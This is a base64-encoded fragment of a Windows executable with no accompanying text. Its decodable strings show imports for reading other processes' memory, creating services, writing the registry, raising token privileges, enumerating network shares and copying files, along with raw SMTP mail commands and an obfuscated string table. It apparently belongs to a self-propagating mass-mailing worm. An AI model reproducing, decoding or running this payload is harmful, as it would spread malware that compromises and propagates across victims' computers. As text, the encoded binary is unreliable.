ckT32etAM8Az24v/igYLwIofdCML23QfRkdRUFPo3LH//4vYg8QE6NKx//+DxARZO8N1CUl1 1TPJO8N0Cbn/////cgL32YvBW15fycPMzMxVi+xXVlOLdQyLfQiNBTQ5SQCDeAgAdTuw/4v/ CsB0LooGRoonRzjEdPIsQTwaGsmA4SACwQRBhuAsQTwaGsmA4SACwQRBOOB00hrAHP8PvsDr NLj/AAAAM9uL/wrAdCeKBkaKH0c42HTyUFPoPbH//4vYg8QE6DOx//+DxAQ4w3TaG8CD2P9b Xl/Jw1WL7FGhPDlJAFMz2zvDiV38dSGLRQiL0DgYdH+KCoD5QXwKgPlafwWAwSCICkI4GnXq 62dWV2oBU1NTav++AAEAAP91CFZQ6AnA//+L+IPEIDv7dDhX6AzM//87w1mJRfx0KmoBU1dQ av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAHgrriEgICAYDA+PC42PjwuvCY+ OuAQCiI8EAoiPGCEgiY8vCY+OuAiOJCSYAwqBDIUPjy8PCoI4CQyBChgKDIsIia8Jj464DIi NmAwPjwuNj48LrwmPjrgEj4KOipgMD48LjY+PC68Jj464Ag+OmAOIjIwIjwuvCY+OrwwNuAK KCRgDCoEMhQ+PLw8KgjgBjIGYDA+PC42PjwuvCY+OuAIIiQkKmAoMiwiJrwmPjrgJAoGMGAM KgQyFD48vDwqCOA6CjYiYA4kujQiACI8vCY+vDQA4Ag+NhI+YA4kujQiACI8vCY+vDQA4BAq PD4GYAgqOAoGADgiPCoIvDwqCOA4Pj4GKjwKAGAIKjgKBgA4IjwqCLw8KgjgOgQkIgg6Ijxg CCo4CgYAOCI8Kgi8PCoI4DAqOAAoKgY2YAgqOAoGADgiPCoIvDwqCOAiKDYGOCIOYAgqOAoG ADgiPCoIvDwqCOAGADwGAD4ECGAIKjgKBgA4IjwqCLw8KgjgCCI6ADImPmAIKjgKBgA4Ijwq CLw8KgjgNDokMggUYAgqOAoGADgiPCoIvDwqCOA6MiYwIgooNGAIKjgKBgA4IjwqCLw8Kgjg LD4EBCoGCChgCCo4CgYAOCI8Kgi8PCoI4DY0LoJgCCo4CgYAOCI8Kgi8PCoI4AgwKiQEIihg CCo4CgYAOCI8Kgi8PCoI4AQoLmAIKjgKBgA4IjwqCLw8KgjgJjAiOCwiOmAIKjgKBgA4Ijwq CLw8KgjgBgokOjIIYAo4CAQiACIGBg4+BCgGvCY+OuAGMCo4KjoqEmAIKjgKBgA4IjwqCLw8 KgjgLjgkCgQIPjxgCCo4CgYAOCI8Kgi8PCoI4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg4ODg 